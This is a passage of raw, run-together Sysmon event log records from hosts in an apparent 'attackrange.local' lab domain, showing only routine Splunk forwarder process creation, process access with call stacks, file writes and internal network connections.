Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017669Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.623{625C326B-743F-613B-2D05-00000000F101}3968C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000017668Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.388{625C326B-743F-613B-2C05-00000000F101}38083216C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017667Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-743F-613B-2C05-00000000F101}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017666Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017665Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017664Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017663Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017662Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017661Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017660Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017659Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017658Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017657Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-743F-613B-2C05-00000000F101}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000017656Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.122{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-743F-613B-2C05-00000000F101}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000017655Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:35.124{625C326B-743F-613B-2C05-00000000F101}3808C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000017699Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.919{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5FA7B57EB2438F72244D34183C38BE2B,SHA256=EB8DB96FCEBC2870FB9B4DD180145E22E35230F858BD302F2E07412404E00017,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000055082Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:34.333{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63136-false10.0.1.12-8000- 23542300x800000000000000055081Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:36.859{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7907CC6C5C3B0D7FFFC3F1B3AB9F8349,SHA256=BC7A4856A88485A50D2CEBF0D9C4DF88F30DA9B9B998B5AF7588D7EB3962C009,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017698Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.310{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE1DF2448DBF1F6A78C32E5F03B181D8,SHA256=2B5C6F772A852E63591288B734EAC9871DD6EA17266C08333A4D77D4C34F214F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000017697Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.310{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=50D2231CB3D30B352CEE2C5F8916093C,SHA256=3AA3A184A74F5D4AD7D3128D250DDDC0CC5A9B45EACABCFF09DF57FB4D72B659,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000017696Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:34.490{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50371-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000017695Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7440-613B-2E05-00000000F101}2488C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017694Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017693Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017692Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017691Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017690Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017689Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017688Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:36.122{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000017687Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 